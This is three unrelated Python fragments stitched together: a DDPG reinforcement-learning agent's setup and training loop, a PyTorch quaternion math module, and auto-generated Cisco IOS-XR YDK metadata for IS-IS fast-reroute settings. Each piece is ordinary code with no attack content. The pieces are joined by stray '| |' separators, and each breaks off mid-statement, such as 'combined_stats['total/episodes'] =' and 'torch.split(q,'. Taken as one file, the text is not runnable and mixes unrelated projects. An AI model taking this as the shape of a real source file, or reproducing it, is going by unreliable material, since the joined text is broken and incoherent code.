current_noise_type = current_noise_type.strip()
if current_noise_type == 'none':
pass
elif 'adaptive-param' in current_noise_type:
_, stddev = current_noise_type.split('_')
param_noise = AdaptiveParamNoiseSpec(initial_stddev=float(stddev), desired_action_stddev=float(stddev))
elif 'normal' in current_noise_type:
_, stddev = current_noise_type.split('_')
action_noise = NormalActionNoise(mu=np.zeros(nb_actions), sigma=float(stddev) * np.ones(nb_actions))
elif 'ou' in current_noise_type:
_, stddev = current_noise_type.split('_')
action_noise = OrnsteinUhlenbeckActionNoise(mu=np.zeros(nb_actions),
sigma=float(stddev) * np.ones(nb_actions))
else:
raise RuntimeError('unknown noise type "{}"'.format(current_noise_type))
#============================================#
# Configure neural nets for actor and critic #
#============================================#
self.memory = Memory(limit=int(1e6), action_shape=self.action_space.shape,
observation_shape=self.observation_space.shape)
critic = Critic(layer_norm=layer_norm)#, share=share)
actor = Actor(nb_actions, layer_norm=layer_norm) #, share=share)
tf.reset_default_graph()
# Disable logging for rank != 0 to avoid noise.
if rank == 0:
start_time = time.time()
assert (np.abs(self.action_space.low) == self.action_space.high).all() # we assume symmetric actions.
max_action = self.action_space.high
# logger.info('scaling actions by {} before executing in env'.format(max_action))
#=======================#
# Create learning agent #
#=======================#
# Get learning parameters from args
gamma = args['gamma']
tau = 0.01 # <==== according to training .py tau=0.01 by default
normalize_returns = args['normalize_returns']
normalize_observations = args['normalize_observations']
self.batch_size = args['batch_size'] # used in interact() as well
critic_l2_reg = args['critic_l2_reg']
actor_lr = args['actor_lr']
critic_lr = args['critic_lr']
popart = args['popart']
clip_norm = args['clip_norm']
reward_scale = args['reward_scale']
# create learning agent
self.agent = DDPG(actor, critic, self.memory, self.observation_space.shape, self.action_space.shape,
gamma=gamma, tau=tau, normalize_returns=normalize_returns,
normalize_observations=normalize_observations,
batch_size=self.batch_size, action_noise=action_noise, param_noise=param_noise,
critic_l2_reg=critic_l2_reg,
actor_lr=actor_lr, critic_lr=critic_lr, enable_popart=popart, clip_norm=clip_norm,
reward_scale=reward_scale)
# logger.info('Using agent with the following configuration:')
# logger.info(str(self.agent.__dict__.items()))
# Reward histories
# eval_episode_rewards_history = deque(maxlen=100)
self.episode_rewards_history = deque(maxlen=100)
self.avg_episode_rewards_history = []
#===========================#
# Training cycle parameter #
#==========================#
self.nb_epochs = args['nb_epochs']
self.epoch_cnt = 0
self.nb_epoch_cycles = args['nb_epoch_cycles']
self.epoch_cycle_cnt = 0
self.nb_rollout_steps = args['nb_rollout_steps']
self.rollout_step_cnt = 0
self.nb_train_steps = args['nb_train_steps']
self.training_step_cnt = 0
#========================#
# Model saving #
#========================#
self.model_dir = os.path.join(os.path.abspath('..'), 'save','model')
self.log_dir = os.path.join(os.path.abspath('..'), 'save','log')
if not os.path.exists(self.model_dir):
os.makedirs(self.model_dir)
if not os.path.exists(self.log_dir):
os.makedirs(self.log_dir)
#=======================#
# Initialize tf session #
#=======================#
self.sess = U.make_session(num_cpu=1, make_default=True)
self.agent.initialize(self.sess)
self.saver = tf.train.Saver()
if load_pretrained_agent_flag == True:
self._load_model(self.model_dir)
# self.sess.graph.finalize()
self.agent.reset()
#==============#
# logging info #
#==============#
self.episode_reward = 0.
self.episode_step = 0
self.episodes = 0
self.t = 0
# epoch = 0
self.start_time = time.time()
self.epoch_episode_rewards = []
self.epoch_episode_steps = []
self.epoch_episode_eval_rewards = []
self.epoch_episode_eval_steps = []
self.epoch_start_time = time.time()
self.epoch_actions = []
self.epoch_qs = [] # Q values
self.epoch_episodes = 0
self.param_noise_adaption_interval = 50
#==========================================#
# default prescripted behaviour parameters #
#==========================================#
# Actions are a list of values:
# [1a moth, 1a RS, 1b moth, 1b RS, 1c moth, 1c RS, 1d, 2, 3, 4, 5a, 5b, 6a, 6b, 7, 8a, 8b] #
# constant parameters: 5a, 5b, 6a, 6b, 8a, 8b
# min_val = np.array([0, 0, 0, 0, 0, 0, 0, 0, 0, 15000, 60000, 0, 0, 0, 1000, 5, 200])
#
# max_val = np.array(
# [5000, 5000, 5000, 5000, 5000, 5000, 255, 5000, 5000, 60000, 100000, 10000, 100, 5000, 5000, 200, 400])
#
# default_val = np.array(
# [1500, 1500, 1000, 1000, 2500, 2500, 200, 1500, 300, 45000, 90000, 5000, 40, 1800, 700, 120, 240])
#
# self.default_para = (default_val - min_val) / (max_val - min_val)
# self.variable_para_index = [0,1,2,3,4,5,6,7,8,9,14]
# assert len(self.variable_para_index) == self.action_space.shape[0], "variable_para_index={}, action_space={}".format(len(self.variable_para_index), self.action_space.shape[0])
def interact(self, observation, reward = 0, done = False):
"""
Receive observation and produce action
"""
# # For the case of simulator only,
# # since with the simulator, we always use interact() instead of feed_observation()
# if self.env is not None:
# self.observe(observation)
with self.sess.as_default():
action, q = self.agent.pi(observation, apply_noise=True, compute_Q=True)
assert action.shape == self.action_space.shape
# Execute next action.
# scale for execution in env (as far as DDPG is concerned, every action is in [-1, 1])
if self.rollout_step_cnt == self.nb_rollout_steps - 1:
done = True
self.t += 1
self.episode_reward += reward # <<<<<<<<<<<<<<<<<<<<<<<<
self.episode_step += 1
# Book-keeping.
self.epoch_actions.append(action)
self.epoch_qs.append(q)
# Note: self.action correspond to prev_observation
# reward correspond to observation
if self.action is not None:
self.agent.store_transition(self.prev_observation, self.action, reward, observation, done)
self.action = action
self.reward = reward
self.prev_observation = observation
self._save_log(self.log_dir,[datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),self.prev_observation, self.action, reward])
# Logging the training reward info for debug purpose
if done:
# Episode done.
self.epoch_episode_rewards.append(self.episode_reward)
self.episode_rewards_history.append(self.episode_reward)
self.epoch_episode_steps.append(self.episode_step)
self.avg_episode_rewards_history.append(self.episode_reward / self.episode_step)
self.episode_reward = 0.
self.episode_step = 0
self.epoch_episodes += 1
self.episodes += 1
self.agent.reset()
if self.env is not None:
obs = self.env.reset()
self.rollout_step_cnt += 1
# Training
# Everytime interact() is called, it will train the model by nb_train_steps times
if self.rollout_step_cnt >= self.nb_rollout_steps:
self.epoch_actor_losses = []
self.epoch_critic_losses = []
self.epoch_adaptive_distances = []
for t_train in range(self.nb_train_steps):
# Adapt param noise, if necessary.
if self.memory.nb_entries >= self.batch_size and t_train % self.param_noise_adaption_interval == 0:
distance = self.agent.adapt_param_noise()
self.epoch_adaptive_distances.append(distance)
cl, al = self.agent.train()
self.epoch_critic_losses.append(cl)
self.epoch_actor_losses.append(al)
self.agent.update_target_net()
self.rollout_step_cnt = 0
self.epoch_cycle_cnt += 1
#==============#
# Create stats #
#==============#
if self.epoch_cycle_cnt >= self.nb_epoch_cycles:
# rank = MPI.COMM_WORLD.Get_rank()
mpi_size = MPI.COMM_WORLD.Get_size()
# Log stats.
# XXX shouldn't call np.mean on variable length lists
duration = time.time() - self.start_time
stats = self.agent.get_stats()
combined_stats = stats.copy()
combined_stats['rollout/return'] = np.mean(self.epoch_episode_rewards)
combined_stats['rollout/return_history'] = np.mean(self.episode_rewards_history)
combined_stats['rollout/episode_steps'] = np.mean(self.epoch_episode_steps)
combined_stats['rollout/actions_mean'] = np.mean(self.epoch_actions)
combined_stats['rollout/Q_mean'] = np.mean(self.epoch_qs)
combined_stats['train/loss_actor'] = np.mean(self.epoch_actor_losses)
combined_stats['train/loss_critic'] = np.mean(self.epoch_critic_losses)
combined_stats['train/param_noise_distance'] = np.mean(self.epoch_adaptive_distances)
combined_stats['total/duration'] = duration
combined_stats['total/steps_per_second'] = float(self.t) / float(duration)
combined_stats['total/episodes'] = | |
# modified from: https://github.com/NVlabs/latentfusion/blob/master/latentfusion/three/quaternion.py
import math
import torch
from torch.nn import functional as F
@torch.jit.script
def acos_safe(t, eps: float = 1e-7):
return torch.acos(torch.clamp(t, min=-1.0 + eps, max=1.0 - eps))
@torch.jit.script
def ensure_batch_dim(tensor, num_dims: int):
unsqueezed = False
if len(tensor.shape) == num_dims:
tensor = tensor.unsqueeze(0)
unsqueezed = True
return tensor, unsqueezed
def identity(n: int, device: str = "cpu"):
return torch.tensor((1.0, 0.0, 0.0, 0.0), device=device).view(1, 4).expand(n, 4)
def normalize(quaternion: torch.Tensor, eps: float = 1e-12) -> torch.Tensor:
r"""Normalizes a quaternion.
The quaternion should be in (w, x, y, z) format.
Args:
quaternion (torch.Tensor): a tensor containing a quaternion to be
normalized. The tensor can be of shape :math:`(*, 4)`.
eps (Optional[bool]): small value to avoid division by zero.
Default: 1e-12.
Return:
torch.Tensor: the normalized quaternion of shape :math:`(*, 4)`.
"""
if not isinstance(quaternion, torch.Tensor):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(type(quaternion)))
# if not quaternion.shape[-1] == 4:
# raise ValueError(
# "Input must be a tensor of shape (*, 4). Got {}".format(
# quaternion.shape))
return F.normalize(quaternion, p=2.0, dim=-1, eps=eps)
def quat_to_mat(quaternion: torch.Tensor) -> torch.Tensor:
"""
Converts a quaternion to a rotation matrix.
The quaternion should be in (w, x, y, z) format.
Adapted from:
https://github.com/kornia/kornia/blob/d729d7c4357ca73e4915a42285a0771bca4436ce/kornia/geometry/conversions.py#L235
Args:
quaternion (torch.Tensor): a tensor containing a quaternion to be
converted. The tensor can be of shape :math:`(*, 4)`.
Return:
torch.Tensor: the rotation matrix of shape :math:`(*, 3, 3)`.
Example:
>>> quaternion = torch.tensor([0., 0., 1., 0.])
>>> quat_to_mat(quaternion)
tensor([[[-1., 0., 0.],
[ 0., -1., 0.],
[ 0., 0., 1.]]])
"""
quaternion, unsqueezed = ensure_batch_dim(quaternion, 1)
if not quaternion.shape[-1] == 4:
raise ValueError("Input must be a tensor of shape (*, 4). Got {}".format(quaternion.shape))
# normalize the input quaternion
quaternion_norm = normalize(quaternion)
# unpack the normalized quaternion components
w, x, y, z = torch.chunk(quaternion_norm, chunks=4, dim=-1)
# compute the actual conversion
tx: torch.Tensor = 2.0 * x
ty: torch.Tensor = 2.0 * y
tz: torch.Tensor = 2.0 * z
twx: torch.Tensor = tx * w
twy: torch.Tensor = ty * w
twz: torch.Tensor = tz * w
txx: torch.Tensor = tx * x
txy: torch.Tensor = ty * x
txz: torch.Tensor = tz * x
tyy: torch.Tensor = ty * y
tyz: torch.Tensor = tz * y
tzz: torch.Tensor = tz * z
one: torch.Tensor = torch.tensor(1.0)
matrix: torch.Tensor = torch.stack(
[
one - (tyy + tzz),
txy - twz,
txz + twy,
txy + twz,
one - (txx + tzz),
tyz - twx,
txz - twy,
tyz + twx,
one - (txx + tyy),
],
dim=-1,
).view(-1, 3, 3)
if unsqueezed:
matrix = matrix.squeeze(0)
return matrix
def mat_to_quat(rotation_matrix: torch.Tensor, eps: float = 1e-8) -> torch.Tensor:
"""
Convert 3x3 rotation matrix to 4d quaternion vector.
The quaternion vector has components in (w, x, y, z) format.
Adapted From:
https://github.com/kornia/kornia/blob/d729d7c4357ca73e4915a42285a0771bca4436ce/kornia/geometry/conversions.py#L235
Args:
rotation_matrix (torch.Tensor): the rotation matrix to convert.
eps (float): small value to avoid zero division. Default: 1e-8.
Return:
torch.Tensor: the rotation in quaternion.
Shape:
- Input: :math:`(*, 3, 3)`
- Output: :math:`(*, 4)`
"""
rotation_matrix, unsqueezed = ensure_batch_dim(rotation_matrix, 2)
if not isinstance(rotation_matrix, torch.Tensor):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(type(rotation_matrix)))
if not rotation_matrix.shape[-2:] == (3, 3):
raise ValueError("Input size must be a (*, 3, 3) tensor. Got {}".format(rotation_matrix.shape))
def safe_zero_division(numerator: torch.Tensor, denominator: torch.Tensor) -> torch.Tensor:
eps = torch.finfo(numerator.dtype).tiny
return numerator / torch.clamp(denominator, min=eps)
if not rotation_matrix.is_contiguous():
rotation_matrix_vec: torch.Tensor = rotation_matrix.reshape(*rotation_matrix.shape[:-2], 9)
else:
rotation_matrix_vec: torch.Tensor = rotation_matrix.view(*rotation_matrix.shape[:-2], 9)
m00, m01, m02, m10, m11, m12, m20, m21, m22 = torch.chunk(rotation_matrix_vec, chunks=9, dim=-1)
trace: torch.Tensor = m00 + m11 + m22
def trace_positive_cond():
sq = torch.sqrt(trace + 1.0) * 2.0 # sq = 4 * qw.
qw = 0.25 * sq
qx = safe_zero_division(m21 - m12, sq)
qy = safe_zero_division(m02 - m20, sq)
qz = safe_zero_division(m10 - m01, sq)
return torch.cat([qw, qx, qy, qz], dim=-1)
def cond_1():
sq = torch.sqrt(1.0 + m00 - m11 - m22 + eps) * 2.0 # sq = 4 * qx.
qw = safe_zero_division(m21 - m12, sq)
qx = 0.25 * sq
qy = safe_zero_division(m01 + m10, sq)
qz = safe_zero_division(m02 + m20, sq)
return torch.cat([qw, qx, qy, qz], dim=-1)
def cond_2():
sq = torch.sqrt(1.0 + m11 - m00 - m22 + eps) * 2.0 # sq = 4 * qy.
qw = safe_zero_division(m02 - m20, sq)
qx = safe_zero_division(m01 + m10, sq)
qy = 0.25 * sq
qz = safe_zero_division(m12 + m21, sq)
return torch.cat([qw, qx, qy, qz], dim=-1)
def cond_3():
sq = torch.sqrt(1.0 + m22 - m00 - m11 + eps) * 2.0 # sq = 4 * qz.
qw = safe_zero_division(m10 - m01, sq)
qx = safe_zero_division(m02 + m20, sq)
qy = safe_zero_division(m12 + m21, sq)
qz = 0.25 * sq
return torch.cat([qw, qx, qy, qz], dim=-1)
where_2 = torch.where(m11 > m22, cond_2(), cond_3())
where_1 = torch.where((m00 > m11) & (m00 > m22), cond_1(), where_2)
quaternion: torch.Tensor = torch.where(trace > 0.0, trace_positive_cond(), where_1)
if unsqueezed:
quaternion = quaternion.squeeze(0)
return quaternion
@torch.jit.script
def random(k: int = 1, device: str = "cpu"):
"""Return uniform random unit quaternion.
rand: array like or None
Three independent random variables that are uniformly distributed
between 0 and 1.
"""
rand = torch.rand(k, 3, device=device)
r1 = torch.sqrt(1.0 - rand[:, 0])
r2 = torch.sqrt(rand[:, 0])
pi2 = math.pi * 2.0
t1 = pi2 * rand[:, 1]
t2 = pi2 * rand[:, 2]
return torch.stack([torch.cos(t2) * r2, torch.sin(t1) * r1, torch.cos(t1) * r1, torch.sin(t2) * r2], dim=1)
def qmul(q1, q2):
"""Quaternion multiplication.
Use the Hamilton product to perform quaternion multiplication.
References:
http://en.wikipedia.org/wiki/Quaternions#Hamilton_product
https://github.com/matthew-brett/transforms3d/blob/master/transforms3d/quaternions.py
"""
assert q1.shape[-1] == 4
assert q2.shape[-1] == 4
ham_prod = torch.bmm(q2.view(-1, 4, 1), q1.view(-1, 1, 4))
w = ham_prod[:, 0, 0] - ham_prod[:, 1, 1] - ham_prod[:, 2, 2] - ham_prod[:, 3, 3]
x = ham_prod[:, 0, 1] + ham_prod[:, 1, 0] - ham_prod[:, 2, 3] + ham_prod[:, 3, 2]
y = ham_prod[:, 0, 2] + ham_prod[:, 1, 3] + ham_prod[:, 2, 0] - ham_prod[:, 3, 1]
z = ham_prod[:, 0, 3] - ham_prod[:, 1, 2] + ham_prod[:, 2, 1] + ham_prod[:, 3, 0]
return torch.stack((w, x, y, z), dim=1).view(q1.shape)
def rotate_vector(quat, vector):
"""
References:
https://github.com/matthew-brett/transforms3d/blob/master/transforms3d/quaternions.py#L419
"""
assert quat.shape[-1] == 4
assert vector.shape[-1] == 3
assert quat.shape[:-1] == vector.shape[:-1]
original_shape = list(vector.shape)
quat = quat.view(-1, 4)
vector = vector.view(-1, 3)
pure_quat = quat[:, 1:]
uv = torch.cross(pure_quat, vector, dim=1)
uuv = torch.cross(pure_quat, uv, dim=1)
return (vector + 2 * (quat[:, :1] * uv + uuv)).view(original_shape)
def from_spherical(theta, phi, r=1.0):
x = torch.cos(theta) * torch.sin(phi)
y = torch.sin(theta) * torch.sin(phi)
z = r * torch.cos(phi)
w = torch.zeros_like(x)
return torch.stack((w, x, y, z), dim=-1)
def from_axis_angle(axis, angle):
"""Compute a quaternion from the axis angle representation.
Reference:
https://en.wikipedia.org/wiki/Quaternions_and_spatial_rotation
Args:
axis: axis to rotate about
angle: angle to rotate by
Returns:
Tensor of shape (*, 4) representing a quaternion.
"""
if torch.is_tensor(axis) and isinstance(angle, float):
angle = torch.tensor(angle, dtype=axis.dtype, device=axis.device)
angle = angle.expand(axis.shape[0])
axis = axis / torch.norm(axis, dim=-1, keepdim=True)
c = torch.cos(angle / 2.0)
s = torch.sin(angle / 2.0)
w = c
x = s * axis[..., 0]
y = s * axis[..., 1]
z = s * axis[..., 2]
return torch.stack((w, x, y, z), dim=-1)
def qexp(q, eps=1e-8, is_normalized=False):
"""allow unnormalized Computes the quaternion exponent.
Reference:
https://en.wikipedia.org/wiki/Quaternion#Exponential,_logarithm,_and_power_functions
Args:
q (tensor): (*, 3) or (*, 4) the quaternion to compute the exponent of
Returns:
(tensor): Tensor of shape (*, 4) representing exp(q)
"""
if is_normalized:
q = normalize(q, eps=eps)
if q.shape[1] == 4:
# Let q = (s; v).
s, v = torch.split(q, (1, 3), dim=-1)
else:
s = torch.zeros_like(q[:, :1])
v = q
theta = torch.norm(v, dim=-1, keepdim=True)
exp_s = torch.exp(s)
w = torch.cos(theta)
xyz = 1.0 / theta.clamp(min=eps) * torch.sin(theta) * v
return exp_s * torch.cat((w, xyz), dim=-1)
def qlog(q, eps=1e-8):
"""Computes the quaternion logarithm.
Reference:
https://en.wikipedia.org/wiki/Quaternion#Exponential,_logarithm,_and_power_functions
https://users.aalto.fi/~ssarkka/pub/quat.pdf
Args:
q (tensor): the quaternion to compute the logarithm of
Returns:
(tensor): Tensor of shape (*, 4) representing ln(q)
"""
mag = torch.norm(q, dim=-1, keepdim=True)
# Let q = (s; v).
s, v = torch.split(q, | |
'metric-style',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.MetricStyles' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.MetricStyles',
False,
[
_MetaInfoClassMember('metric-style', REFERENCE_LIST, 'MetricStyle' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.MetricStyles.MetricStyle',
[], [],
''' Configuration of metric style in LSPs
''',
'metric_style',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'metric-styles',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrLoadSharings.FrrLoadSharing' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrLoadSharings.FrrLoadSharing',
False,
[
_MetaInfoClassMember('level', REFERENCE_ENUM_CLASS, 'IsisInternalLevelEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_datatypes', 'IsisInternalLevelEnum',
[], [],
''' Level to which configuration applies
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('load-sharing', REFERENCE_ENUM_CLASS, 'IsisfrrLoadSharingEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisfrrLoadSharingEnum',
[], [],
''' Load sharing
''',
'load_sharing',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-load-sharing',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrLoadSharings' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrLoadSharings',
False,
[
_MetaInfoClassMember('frr-load-sharing', REFERENCE_LIST, 'FrrLoadSharing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrLoadSharings.FrrLoadSharing',
[], [],
''' Disable load sharing
''',
'frr_load_sharing',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-load-sharings',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.PriorityLimits.PriorityLimit' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.PriorityLimits.PriorityLimit',
False,
[
_MetaInfoClassMember('frr-type', REFERENCE_ENUM_CLASS, 'IsisfrrEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisfrrEnum',
[], [],
''' Computation Type
''',
'frr_type',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('level', REFERENCE_ENUM_CLASS, 'IsisInternalLevelEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_datatypes', 'IsisInternalLevelEnum',
[], [],
''' Level to which configuration applies
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('priority', REFERENCE_ENUM_CLASS, 'IsisPrefixPriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisPrefixPriorityEnum',
[], [],
''' Compute for all prefixes upto the
specified priority
''',
'priority',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'priority-limit',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.PriorityLimits' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.PriorityLimits',
False,
[
_MetaInfoClassMember('priority-limit', REFERENCE_LIST, 'PriorityLimit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.PriorityLimits.PriorityLimit',
[], [],
''' Limit backup computation upto the prefix
priority
''',
'priority_limit',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'priority-limits',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrRemoteLfaPrefixes.FrrRemoteLfaPrefix' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrRemoteLfaPrefixes.FrrRemoteLfaPrefix',
False,
[
_MetaInfoClassMember('level', REFERENCE_ENUM_CLASS, 'IsisInternalLevelEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_datatypes', 'IsisInternalLevelEnum',
[], [],
''' Level to which configuration applies
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('prefix-list-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Name of the prefix list
''',
'prefix_list_name',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-remote-lfa-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrRemoteLfaPrefixes' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrRemoteLfaPrefixes',
False,
[
_MetaInfoClassMember('frr-remote-lfa-prefix', REFERENCE_LIST, 'FrrRemoteLfaPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrRemoteLfaPrefixes.FrrRemoteLfaPrefix',
[], [],
''' Filter remote LFA router IDs using
prefix-list
''',
'frr_remote_lfa_prefix',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-remote-lfa-prefixes',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrTiebreakers.FrrTiebreaker' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrTiebreakers.FrrTiebreaker',
False,
[
_MetaInfoClassMember('level', REFERENCE_ENUM_CLASS, 'IsisInternalLevelEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_datatypes', 'IsisInternalLevelEnum',
[], [],
''' Level to which configuration applies
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('tiebreaker', REFERENCE_ENUM_CLASS, 'IsisfrrTiebreakerEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisfrrTiebreakerEnum',
[], [],
''' Tiebreaker for which configuration
applies
''',
'tiebreaker',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('index', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Preference order among tiebreakers
''',
'index',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-tiebreaker',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrTiebreakers' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrTiebreakers',
False,
[
_MetaInfoClassMember('frr-tiebreaker', REFERENCE_LIST, 'FrrTiebreaker' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrTiebreakers.FrrTiebreaker',
[], [],
''' Configure tiebreaker for multiple backups
''',
'frr_tiebreaker',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-tiebreakers',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrUseCandOnlies.FrrUseCandOnly' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrUseCandOnlies.FrrUseCandOnly',
False,
[
_MetaInfoClassMember('frr-type', REFERENCE_ENUM_CLASS, 'IsisfrrEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'IsisfrrEnum',
[], [],
''' Computation Type
''',
'frr_type',
'Cisco-IOS-XR-clns-isis-cfg', True),
_MetaInfoClassMember('level', REFERENCE_ENUM_CLASS, 'IsisInternalLevelEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_datatypes', 'IsisInternalLevelEnum',
[], [],
''' Level to which configuration applies
''',
'level',
'Cisco-IOS-XR-clns-isis-cfg', True),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-use-cand-only',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrUseCandOnlies' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrUseCandOnlies',
False,
[
_MetaInfoClassMember('frr-use-cand-only', REFERENCE_LIST, 'FrrUseCandOnly' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrUseCandOnlies.FrrUseCandOnly',
[], [],
''' Configure use candidate only to exclude
interfaces as backup
''',
'frr_use_cand_only',
'Cisco-IOS-XR-clns-isis-cfg', False),
],
'Cisco-IOS-XR-clns-isis-cfg',
'frr-use-cand-onlies',
_yang_ns._namespaces['Cisco-IOS-XR-clns-isis-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg'
),
},
'Isis.Instances.Instance.Afs.Af.AfData.FrrTable' : {
'meta_info' : _MetaInfoClass('Isis.Instances.Instance.Afs.Af.AfData.FrrTable',
False,
[
_MetaInfoClassMember('frr-load-sharings', REFERENCE_CLASS, 'FrrLoadSharings' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrLoadSharings',
[], [],
''' Load share prefixes across multiple
backups
''',
'frr_load_sharings',
'Cisco-IOS-XR-clns-isis-cfg', False),
_MetaInfoClassMember('frr-remote-lfa-prefixes', REFERENCE_CLASS, 'FrrRemoteLfaPrefixes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg', 'Isis.Instances.Instance.Afs.Af.AfData.FrrTable.FrrRemoteLfaPrefixes',
[], [],
''' FRR remote LFA prefix list filter
configuration
''',
'frr_remote_lfa_prefixes',
'Cisco-IOS-XR-clns-isis-cfg', False),
